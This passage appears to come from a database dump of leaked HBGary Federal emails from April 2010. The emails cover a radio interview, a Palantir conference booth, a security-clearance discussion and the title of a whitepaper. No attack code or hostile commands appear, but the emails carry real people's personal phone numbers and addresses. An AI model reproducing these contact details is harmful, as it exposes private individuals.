work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',5919,'aaron_hbgary_com/5919.html'),(4851,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003119.M384756P3547Q4851.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Message to all Palantir Conference Partners','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Timothy Ronan \r\n> Date: April 1, 2010 4:32:31 PM EDT\r\n> To: Undisclosed recipients:;\r\n> Subject: Message to all Palantir Conference Partners\r\n> \r\n> Please make sure that your staff who will be attending the conference next week on 7 April have registered at the following site: http://palantirtech.eventbrite.com/\r\n>  \r\n> Everyone should have received a Partner Booth Guide with setup details several weeks ago, but I have attached it again for reference.  Please take the time to read through this as there are highly important details included.\r\n>  \r\n> I have also attached the conference agenda for your reference.\r\n>  \r\n> Don’t hesitate to contact me with any questions.  Looking forward to your participation in the conference next week.\r\n>  \r\n> Best,\r\n> Tim\r\n>  \r\n> _________________________________________________________\r\n> Tim Ronan\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> tronan@palantirtech.com | 571.225.6179\r\n> _________________________________________________________\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14245,'aaron_hbgary_com/14245.html'),(4852,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003119.M730524P3547Q4852.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','yes.On Apr 1, 2010, at 10:29 PM, Karen Burke wrote:I\'ll check with Tom -- are you nitely free the other two days if he can switch? Best, K--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:25 PM\r\nWow figures that is the day. &nbsp;If that is the only day that works I can try and work something out. &nbsp;The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before). &nbsp;What time. &nbsp;If another day doesn\'t work I can try to slip out for a bit.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6188,'aaron_hbgary_com/6188.html'),(4853,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003119.M938898P3547Q4853.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Confirm Media Interview for Wedn. April 7th @11:30 AM','Bummer the tour of the studio would have been interesting.On Apr 1, 2010, at 10:29 PM, Karen Burke wrote:I\'ll check with Tom -- are you nitely free the other two days if he can switch? Best, K--- On Thu, 4/1/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Confirm Media Interview for Wedn. April 7th @11:30 AMTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, April 1, 2010, 7:25 PM\r\nWow figures that is the day. &nbsp;If that is the only day that works I can try and work something out. &nbsp;The Palantir GovCon is that day (which slipped my mind when you gave me the 3 days before). &nbsp;What time. &nbsp;If another day doesn\'t work I can try to slip out for a bit.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 9:39 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Hi Aaron, Tom Temin of Federal News Radio just got back to me re your meeting with him next week -- please see his mail below. Does this work for you? The opportunity here is to provide an overivew of HBGary Federal and discuss HBGary\'s technology, its work in the federal government and current security challenges. I\'ll pull together a briefing sheet for you. At this point, he would like to use this interview for his blog, and possibly schedule a radio interview for a later date.\r\n&nbsp;\r\nHere is his mail with the details:&nbsp;\r\nLet\'s shoot for the 7th, the reason being I will be doing a location broadcast in Bethesda on the 6th. There is a Cafe Deluxe near the station on Wisconsin Ave. If he does not mind coming there, I\'ll give him the cook\'s tour of the glass-enclosed nerve center and then we can walk to the restaurant. We don\'t have the greatest visitor-friendly building, so when he arrives, have him call my call phone, 240-463-2009 and I\'ll welcome him in. Our studios are on the first floor of 3400 Idaho and there is generally street parking out front. WTOP is on the third floor and I can take him up there to see one of the last big-city radio newsrooms. \r\n\r\nTom\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6872,'aaron_hbgary_com/6872.html'),(4854,'2010-04-02','\"Ray Owen\" <ray.owen@comcast.net>','/aaron@hbgary.com/new/1297003120.M154167P3547Q4854.eml','\"Aaron Barr\" <aaron@hbgary.com>','Friday meeting','\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI want to apologize for having a conflict tomorrow. When I planned this\r\ntrip, tomorrow was supposed to be a free morning before the flight\r\nhome. Then our government customer planned a Friday morning sponsor\r\nbriefing on the commercial integration demo proposal that includes\r\nHBGary. It was going to be government-only, so we still didn\'t have\r\nbeen a conflict. Then I got the message that government-only didn\'t\r\nexclude me. In fact, they wanted me to brief it. Great, except in the\r\nrush to review and tweak the briefing and change my return flight, I\r\ntotally spaced on our breakfast plans until I was updating my calendar.\r\n\r\nIf you are available tomorrow afternoon, I can travel to meet with you,\r\nor we can meet in Crystal City if that\'s convenient. Otherwise, I know\r\nI\'ll be back again in a couple of weeks.\r\n\r\nThanks,\r\nRay\r\n-- \r\n\r\nRay Owen|ray.owen@comcast.net|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\n',13383,'aaron_hbgary_com/13383.html'),(4855,'2010-04-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003120.M390083P3547Q4855.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Michael Staggs\" <mj@hbgary.com>,aaron@hbgary.com','Hey bitches, you like exploitation?',' \r\nDream Team,\r\n \r\nI am about to release the new whitepaper on REcon.  Currently its called &quot;Exploitation Assessment with HBGary&#39;s REcon&quot;\r\n \r\nI know Rich hates the word &quot;Assessment&quot;.  So, this is a chance to weigh in on the name.\r\n \r\nSome others I have heard:\r\n&quot;Exploitation Threat Intelligence&quot;\r\n&quot;Vulnerability Risk Analysis&quot;\r\n&quot;Vulnerability Research&quot;\r\n&quot;Exploitation Acid Test With Timothy Leary&quot;\r\n&quot;Software Cytology and Morbidity Report for May 2010&quot;\r\n&quot;Code Weakness Morphology at 2000 Meters, Browing 12.7mm&quot;\r\n \r\n-G\r\n \r\n \r\n',11429,'aaron_hbgary_com/11429.html'),(4856,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003120.M574129P3547Q4856.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Hey bitches, you like exploitation?','Exploitation plays to a small audience.  I like using vulnerability.\r\nSoftware vulnerability analysis using HBGary REcon.\r\n\r\nNot sure if you noticed but responsibility of secure code may be\r\nwritten into legislation (new senate bill)\r\n\r\nBut if you like exploitation maybe just change assesment to analysis\r\nor analysis framework. Or...\r\nSoftware exploitation analysis using HBGary\'s RECon.\r\n\r\nThat I think can play to both sides.\r\n\r\nAaron\r\n\r\n\r\n From my iPhone\r\n\r\nOn Apr 2, 2010, at 1:09 AM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Dream Team,\r\n>\r\n> I am about to release the new whitepaper on REcon.  Currently its\r\n> called \"Exploitation Assessment with HBGary\'s REcon\"\r\n>\r\n> I know Rich hates the word \"Assessment\".  So, this is a chance to\r\n> weigh in on the name.\r\n>\r\n> Some others I have heard:\r\n> \"Exploitation Threat Intelligence\"\r\n> \"Vulnerability Risk Analysis\"\r\n> \"Vulnerability Research\"\r\n> \"Exploitation Acid Test With Timothy Leary\"\r\n> \"Software Cytology and Morbidity Report for May 2010\"\r\n> \"Code Weakness Morphology at 2000 Meters, Browing 12.7mm\"\r\n>\r\n> -G\r\n>\r\n>\r\n',16583,'aaron_hbgary_com/16583.html'),(4857,'2010-04-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003120.M777124P3547Q4857.eml','aaron@hbgary.com','Out of Office Re: Hey bitches, you like exploitation?','I\'m out of the office from 3/29/10 to 4/2/10.  Please contact Rich\r\nCummings (rich@hbgary.com) with any immediate concerns.\r\n',15665,'aaron_hbgary_com/15665.html'),(4858,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003121.M280282P3547Q4858.eml','\"Ray Owen\" <ray.owen@comcast.net>','Re: Friday meeting','Hi Ray,No worries.  I can&#39;t break away in the afternoon unfortunately so let&#39;s plan on your next trip out.  Just let me know when and we can lock in a time and place.\r\nAaronFrom my iPhoneOn Apr 1, 2010, at 11:22 PM, Ray Owen &lt;ray.owen@comcast.net&gt; wrote:\r\n\r\n\r\nAaron,\r\n\r\nI want to apologize for having a conflict tomorrow. When I planned this\r\ntrip, tomorrow was supposed to be a free morning before the flight\r\nhome. Then our government customer planned a Friday morning sponsor\r\nbriefing on the commercial integration demo proposal that includes\r\nHBGary. It was going to be government-only, so we still didn&#39;t have\r\nbeen a conflict. Then I got the message that government-only didn&#39;t\r\nexclude me. In fact, they wanted me to brief it. Great, except in the\r\nrush to review and tweak the briefing and change my return flight, I\r\ntotally spaced on our breakfast plans until I was updating my calendar.\r\n\r\nIf you are available tomorrow afternoon, I can travel to meet with you,\r\nor we can meet in Crystal City if that&#39;s convenient. Otherwise, I know\r\nI&#39;ll be back again in a couple of weeks.\r\n\r\nThanks,\r\nRay\r\n-- \r\n\r\nRay Owen|ray.owen@comcast.net|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\n\r\n',5753,'aaron_hbgary_com/5753.html'),(4859,'2010-04-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297003121.M486663P3547Q4859.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\nRE: Checking in\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI dunno.&nbsp;&nbsp; Things are changing on the customer side, it seems everything is fine until you want to go to a different program.&nbsp; All of a sudden you are required to jump through hoops.&nbsp; Of the six or so I\'ve had to do in the last few years only one has crossedover easily.&nbsp; All the others have strings attached.\r\n\r\nAll I know is that there is no way of contesting what the customer requires so we go with the flow.&nbsp; That\'s why all my hires are contingent on clearance coming through.&nbsp; We are also forced to verify all clearances when doing any kind of work.&nbsp; Weird, but the customer is getting more strict on this.\r\n\r\nI should see my customer today or latest Monday.&nbsp; I\'ll see what he says and get back to you.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:27 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\nSure that would be good.&nbsp; Probably would take a while but sure.\r\n\r\nI am still confused by the whole thing.&nbsp; Ted and I went through many clearances cross-overs from DoD to ISA and it normally took about 2 weeks.&nbsp; So what we were trying to do was get him cleared on a DoD program and then ask to submit him for a cross-over.\r\n\r\nWhat do you think?\r\n\r\nAaron\r\n\r\nOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Is there anything we want to do with Ted\'s clearance?&nbsp; I think I can get the OK from my customer to initiate a new clearance.&nbsp; From what I understand, Ted is very instrumental in the COIN processes.&nbsp; Let me know what you think.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 4/1/2010 10:38 AM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Cc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\n&gt; Subject: Re: Checking in\r\n&gt;\r\n&gt; I haven\'t I will check.\r\n&gt;\r\n&gt;\r\n&gt;&nbsp; From my iPhone\r\n&gt;\r\n&gt; On Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n&gt;&nbsp; &gt; wrote:\r\n&gt;\r\n&gt; &gt; Hey Aaron,\r\n&gt; &gt;\r\n&gt; &gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; &gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; &gt; competition was cancelled, did you hear anything about this?\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; John Lovegrove\r\n&gt; &gt; Director\r\n&gt; &gt; Office: (703) 449-3812\r\n&gt; &gt; Cell: (571) 294-5154\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; &gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; &gt; use of\r\n&gt; &gt; the person or entity to whom it is addressed and may contain\r\n&gt; &gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; &gt; is\r\n&gt; &gt; not the intended recipient or his or her authorized agent, the\r\n&gt; &gt; reader is\r\n&gt; &gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; &gt; this\r\n&gt; &gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; &gt; mail in\r\n&gt; &gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; &gt; delete this e-mail immediately.\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; &gt; To: Lovegrove, John (TASC)\r\n&gt; &gt; Subject: Checking in\r\n&gt; &gt;\r\n&gt; &gt; Hey John,\r\n&gt; &gt;\r\n&gt; &gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; &gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; &gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; &gt; talk about NSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; From my iPhone\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8490,'aaron_hbgary_com/8490.html'),(4860,'2010-04-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003121.M713077P3547Q4860.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Message to all Palantir Conference Partners','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil and Rich,\r\n\r\n&nbsp;\r\n\r\nAaron has a booth on April 6 at a conference help by Palantir in\r\nTysons.&nbsp; He requests that one of you help by manning the booth.&nbsp; Maybe we can &#8220;tag\r\nteam&#8221;.&nbsp; Phil and I have a demo via webex at 2pm that day.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010 10:30 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Message to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTimothy\r\nRonan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nApril\r\n1, 2010 4:32:31 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nUndisclosed\r\nrecipients:;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nMessage to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nmake sure that your staff who will be attending the conference next week on 7\r\nApril have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEveryone\r\nshould have received a Partner Booth Guide with setup details several weeks\r\nago, but I have attached it again for reference.&nbsp; Please take the time to\r\nread through this as there are highly important details included.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave also attached the conference agenda for your reference.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDon&#8217;t\r\nhesitate to contact me with any questions.&nbsp; Looking forward to your\r\nparticipation in the conference next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',924,'aaron_hbgary_com/924.html'),(4861,'2010-04-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003121.M908196P3547Q4861.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Hey bitches, you like exploitation?','Shite.  I still need to do the test case that we talked about.  When  \r\nare we releasing?\r\n\r\nSent from my iPhone\r\n\r\nOn Apr 2, 2010, at 1:09, Greg Hoglund  wrote:\r\n\r\n>\r\n> Dream Team,\r\n>\r\n> I am about to release the new whitepaper on REcon.  Currently its  \r\n> called \"Exploitation Assessment with HBGary\'s REcon\"\r\n>\r\n> I know Rich hates the word \"Assessment\".  So, this is a chance to  \r\n> weigh in on the name.\r\n>\r\n> Some others I have heard:\r\n> \"Exploitation Threat Intelligence\"\r\n> \"Vulnerability Risk Analysis\"\r\n> \"Vulnerability Research\"\r\n> \"Exploitation Acid Test With Timothy Leary\"\r\n> \"Software Cytology and Morbidity Report for May 2010\"\r\n> \"Code Weakness Morphology at 2000 Meters, Browing 12.7mm\"\r\n>\r\n> -G\r\n>\r\n>\r\n',10074,'aaron_hbgary_com/10074.html'),(4862,'2010-04-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003122.M128145P3547Q4862.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Message to all Palantir Conference Partners - CORRECTION','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRich and Phil,\r\n\r\n&nbsp;\r\n\r\nThe date is April 7 (not the 6th).\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Friday, April 02, 2010 9:44 AM\r\nTo: \'Aaron Barr\'; \'Phil Wallisch\'; \'Rich Cummings\'\r\nSubject: RE: Message to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPhil and Rich,\r\n\r\n&nbsp;\r\n\r\nAaron has a booth on April 6 at a conference help by Palantir in\r\nTysons.&nbsp; He requests that one of you help by manning the booth.&nbsp;\r\nMaybe we can &#8220;tag team&#8221;.&nbsp; Phil and I have a demo via webex at 2pm that\r\nday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010 10:30 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Message to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nTimothy\r\nRonan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nApril\r\n1, 2010 4:32:31 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nUndisclosed\r\nrecipients:;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nMessage to all Palantir Conference Partners\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nmake sure that your staff who will be attending the conference next week on 7\r\nApril have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEveryone\r\nshould have received a Partner Booth Guide with setup details several weeks ago,\r\nbut I have attached it again for reference.&nbsp; Please take the time to read\r\nthrough this as there are highly important details included.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave also attached the conference agenda for your reference.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDon&#8217;t\r\nhesitate to contact me with any questions.&nbsp; Looking forward to your\r\nparticipation in the conference next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12119,'aaron_hbgary_com/12119.html'),(4863,'2010-04-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003122.M347764P3547Q4863.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir GovCon','Aaron,\r\n\r\nFYI,\r\n\r\nThe booth takes 2 hours to set up so if you use it you have to plan for\r\nthis.\r\n\r\nI recommend not using the booth. Instead, you can just have the HBGary table\r\ncloth and 2 pop-up displays.  It will cut you set up time to 10 minutes.\r\nAnd it will be fine.  I don\'t know where the pop-ups are.  They might be in\r\nthe booth boxes.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010 10:30 PM\r\nTo: Bob Slapnik\r\nSubject: Palantir GovCon\r\n\r\nBob,\r\n\r\nJust to put it down on paper.\r\n\r\nThe event is on the 7th.  The booth is going to be delivered to the\r\nRitz-Carlton for the event.  Penny thought it was a good idea that we were\r\nthere.  It would be great if Rich or Phil could participate part of the day.\r\nI plan on being there the whole day but have never sat the HBGary booth\r\nbefore so would be nice to go through it with someone.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10\r\n02:35:00\r\n\r\n',6247,'aaron_hbgary_com/6247.html'),(4864,'2010-04-02','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297003122.M560966P3547Q4864.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','RE: Message to all Palantir Conference Partners - CORRECTION','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Phil doesn’t have the time right now.  We’re scheduling\r\ntime at customer sites like DISA, TSA, ICE, etc making them successful.  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Friday, April 02, 2010 9:47 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Phil Wallisch&#39;; &#39;Rich Cummings&#39;\r\nSubject: RE: Message to all Palantir Conference Partners - CORRECTION\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRich and Phil,\r\n\r\n \r\n\r\nThe date is April 7 (not the 6th).\r\n\r\n \r\n\r\n\r\n\r\nBob Slapnik  |  Vice President  |  HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Friday, April 02, 2010 9:44 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Phil Wallisch&#39;; &#39;Rich Cummings&#39;\r\nSubject: RE: Message to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nPhil and Rich,\r\n\r\n \r\n\r\nAaron has a booth on April 6 at a conference help by Palantir in\r\nTysons.  He requests that one of you help by manning the booth. \r\nMaybe we can “tag team”.  Phil and I have a demo via webex at 2pm that\r\nday.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010 10:30 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Message to all Palantir Conference Partners\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nFrom:\r\nTimothy\r\nRonan 